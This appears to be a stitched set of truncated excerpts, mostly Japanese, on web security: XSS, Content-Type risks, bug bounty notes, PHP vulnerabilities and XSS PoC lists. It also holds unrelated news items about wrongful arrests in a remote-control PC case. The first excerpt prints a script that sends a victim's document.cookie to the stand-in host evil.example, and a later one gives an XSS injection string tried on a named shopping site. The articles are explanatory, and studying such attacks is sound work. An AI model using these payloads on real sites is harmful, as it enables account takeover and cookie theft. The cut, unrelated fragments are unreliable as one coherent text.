問題1: 他ユーザーの認証情報にアクセスできてしまう 投稿されたコードを普通にサイト内に埋め込むとXSSがやり放題な状態になります。 認証CookieのHttpOnlyが無効になっている場合 ユーザーがたくさん集まる超面白いゲームを作り、その中に以下のようなコードをしれっと含めると、そのゲームを開いたユーザーのアカウントの乗っ取りが可能になります。 <script> // 1. Cookieを取得 const stolen = document.cookie; // 2. 攻撃者のサーバーに送信 const img = new Image(); img.src = "https://evil.example/steal?cookie=" + encodeURIComponent(stolen); </script> CookieのHttpOnly属性が無効になっていると、スクリプトからCo

はじめに セキュリティエンジニアの齋藤ことazaraです。今回は、不可思議なContent-Typeの値と、クラウド時代でのセキュリティリスクについてお話しします。 本ブログは、2024 年 3 月 30 日に開催された BSides Tokyo で登壇した際の発表について、まとめたものです。 また、ブログ資料化にあたり、Content-Type の動作や仕様にフォーカスした形で再編を行い、登壇時に口頭で補足した内容の追記、必要に応じた補足を行なっています。 また、本ブログで解説をする BSides Tokyoでの発表のもう一つの題である、オブジェクトストレージについては、以下のブログから確認をすることが可能ですので、ご覧ください。 blog.flatt.tech なぜ今、この問題を取り上げるのか？ 従来のファイルアップロードにおいて、Content-Type の値を任意の値に設定すること

最近年2回のサイボウズ以外はほぼバグバウンティしていない現状であるが、やる気が起きたときようにメモ 主にWebアプリに関すること 診断と自分で勝手に脆弱性を探す行為との違い 網羅性は全く必要ない 診断は網羅してないと怒られることがあるが好きな脆弱性だけ探せる。 期間が永遠 診断期間は自由なので後で気づいて頭を抱えることはない 攻撃に到るまでを説明する必要がある 「バージョンが古いのでダメです」だけでは許してもらえない 変なことすると逮捕される可能性がある 無闇にツール回すと不正アクセス禁止法に引っかかるので だがしかし海外勢は法律の違いもあるのか好きなサイトに気軽にツールを回すので太刀打ちできない 日本人としては許可されたところかローカルに環境作って攻撃するのが心理的安全性が高い 2023年度の傾向 コモディティ化が進む 自分だけしか知らないような脆弱性はない まだ知られていない手法もほぼ

1年以上前、リリース直後ぐらいのZennでXSSを見つけた話です。 経験的にはmarkdownをカスタマイズしているサービスは大抵XSSがある……ということでZennのmarkdown記法を確認しながらガチャガチャやっていると見つけました。Zenn自体はReactで書かれているのでXSSは起きにくいのですが、Zennで使用しているmarkdown-itのplugin側に脆弱性がありました。 発見時はZennのeditorのコードがGithubで公開されていることに気づいていなかったので、Zennの問い合わせフォーム経由で報告したところ、catnoseさんによりその日の深夜に修正されて、翌日にはplugin側への修正PRも作成されていました。 markdown-it-prism コードブロックの言語指定の部分に " をいれると以降の部分にHTMLを記述できました。lang の値がエスケープさ

セキュリティは難しいです。 ですが、プログラミング初学者の皆さんは必要以上に萎縮せず、どんどんアプリケーションを作り、公開することにチャレンジして欲しいと私は思っています。 一方、事実として、脆弱なアプリケーションが公開されている（サーバ上でアクセス可能な状態になっている）だけで、全く無関係な第三者が被害を被る可能性があることは知っておく必要があります。 それはWordPressを使った単なるWebサイトであったとしても同じです。 また、あなたのアプリケーションが破壊されて困らないものであったり、 個人情報を保持していないものであったとしても、です。 だから、知らなかった、では済まされないこともあります。 この記事では、PHPのソースを例に、 特にプログラミング初学者が生み出しやすいアプリケーションの脆弱性について、 具体的なコードを挙げながら解説します。 なお、本記事のサンプルコードはも

2015/4/16(木)：ページの一番下に追記を記述しました。 その昔、なんとかキャンプというセキュリティのイベントに参加した時「アウトプットが大事」と言われたのを思い出しました。 でも、普通自分の見つけた知識は後生大事に抱えておきたいもんだと思います。 そこで今回はそういった何かしょーもないものを捨てるべく、溜め込んだ色んなXSSのPoCを少し書き出してまとめました。 今まで自分で見つけたものや海外のSecurity Researcher達から収集したものもあります。 さて、今回リストアップしたPoCの見方ですがいくつかの項目があります。 一番上の「手法」はタイトルみたいなものだと思って下さい。 二番目の「PoC」はスクリプトを実行する為のコードです。殆どがアラートが出るだけのスクリプトの為危険なコードは無いつもりですがご自分のブラウザで実行する際は自己責任でお願いします。リンクをクリッ

サイボウズは2015年1月27日、2014年6月に開始した「脆弱性報奨金制度」に関する説明会を開催した。同制度は、同社の製品サービスについて、社内で検出していない未知の脆弱性を発見・報告した善意の協力者に報奨金を支払うもの。2014年は、6月19日～12月25日の期間に報告を受け付けた。その結果、158件の未知の脆弱性が見つかり、総額687万円の報奨金を支払ったという。2015年は、特定の攻撃に関する脆弱性の報奨金を増額するとともに、報奨金を振り込むまでの期間を短縮する。 同制度は、同社のパッケージ製品とAPI、クラウドサービス基盤「cybozu.com」で稼働する各サービス、同社指定ホームページについて、社内検証や第三者機関による検証で発見されてない未知の脆弱性を、外部の協力者に発見・報告してもらうための仕掛けである。報告された脆弱性について、共通脆弱性評価システム「CVSS v2」の評

脆弱性を見つけてセキュリティ対策に貢献しているのが、「バグハンター」と呼ばれる存在だ。Googleなどベンダーの報奨金で生計を立てているという「キヌガワ マサト」さんが、プロのバグハンターとしての“愉しみ”を紹介してくれた。 ソフトウェアのバグや脆弱性は、軽微な不具合からセキュリティ上の深刻な問題を引き起こすものまで、様々なものがある。開発者が幾ら注意しても脆弱性をなくすことは非常に難しいが、外部の立場から脆弱性を見つけてセキュリティ対策に貢献する「バグハンター」という存在をご存じだろうか。 GoogleやMicrosoft、サイボウズなど一部のベンダーは、脆弱性を報告したバグハンターに報奨金などを支払う制度を運営。その報奨金で生計を立てるプロの一人が「キヌガワ マサト」さんだ。12月18、19日に行われたセキュリティカンファレンス「CODE BLUE」では、キヌガワさんがプロのバグハンタ

CCCが運営している代官山蔦屋書店はECサイトも運営している。 ドメインはtsite配下だ。 詳細は省くがそこにXSSの脆弱性があることを2014年7月5日の時点で確認した。 古典的な方法で確認する。 （参考：サイト脆弱性をチェックしよう！--第5回：XSSの脆弱性を検査する方法） 商品検索の検索窓に『>'><script>alert('test')</script>』と入力し検索を実行する。 このようにポップアップウィンドウが表示される。 わかりやすくするとこういう状態。 この件に関して冒頭にも書いたように2014年7月5日の時点で確認しており、既にCCC側も状況を確認しているはずである。 既に2週間放置されていることで、脆弱性の情報を公開することよりも、脆弱性のある状況が放置されていることのほうが危険度が上回るのではないか？という判断をし本ブログを書くことにした。 ※archive.o

PostgreSQLの行レベルセキュリティと SpringAOPでマルチテナントの ユーザー間情報漏洩を防止する (JJUG CCC 2021 Spring)

Programming is difficult — and difficult things generally don’t have a perfect solution. As an example, cross-site scripting (XSS) is still very much unsolved. It’s very easy to think you’re doing the right thing at the right time, but there are two opportunities to fail here: the fix might not be correct, and it might not be applied correctly. Escaping content (while still the most effective way

パソコン遠隔操作で横浜市のホームページに小学校襲撃予告が書き込まれ、少年（19）が誤認逮捕された事件で、静岡家裁浜松支部（桐ケ谷敬三裁判官）が少年への補償を決めたことが16日、静岡家裁への取材で分かった。静岡家裁によると、決定は12日付で、補償金額は明らかにしていない。家裁は少年の保護観察処分が取り消さ

これは酷すぎる!警察・検察の「反省」なんてみんなウソっぱちだった　ネットなりすまし殺人予告　誤認逮捕の被害者が「恐怖の取調室」を語った 「警察・検察をハメてやりたかった、その動機が100%です」---真犯人は犯行声明でそう語った。ネット犯罪の進化に、警察はまるで対応できていない。そして、悲劇の冤罪事件が起きた。 他人事ではありません　世間を騒がせている「ネットなりすまし殺人予告事件」で、大阪府警に誤認逮捕された北村真咲さん(43歳)の弁護人は、北村さんの怒りをこう代弁する。 「北村さんは、今回の事件に関して逮捕前から一貫して捜査に協力し、かつ否認していました。にもかかわらず、北村さんは逮捕・勾留されてしまい、著しい肉体的、精神的、経済的打撃を受けました。捜査に協力していたのに安易に身体拘束に踏み切った捜査機関(大阪府警)に対し、強い憤りを覚えます。 また、逮捕された後も、捜査機関は北村さん

「XSSとセキュリティリスクと正しい脆弱性報告のあり方 - 最速転職研究会」を読んで。 IPAを通じて脆弱性の報告が来るということは、脆弱性の発見者がセキュリティ専門家だったりするため、対策が取られるまで公開されないことが予測できる。つまりIPAから脆弱性の報告が来る=緊急ではないという図式が成り立ってしまう！！XSSとセキュリティリスクと正しい脆弱性報告のあり方 - 最速転職研究会よりううむ。個人的には、脆弱性を発見した場合にはむしろ専門家以外の素人ほどIPAを通じて報告するほうがよいと思っている。理由は以下の通り。 連絡先の把握が困難 Webサイトにもよりますが、脆弱性報告のための窓口を用意しそれを明確に示しているWebサイトはあまり多くはありません。そのような連絡先をサイトごとに逐一探すくらいであれば、IPAに連絡するほうが手間が圧倒的に少なくて済みます。また、一般的な問い合わせ窓口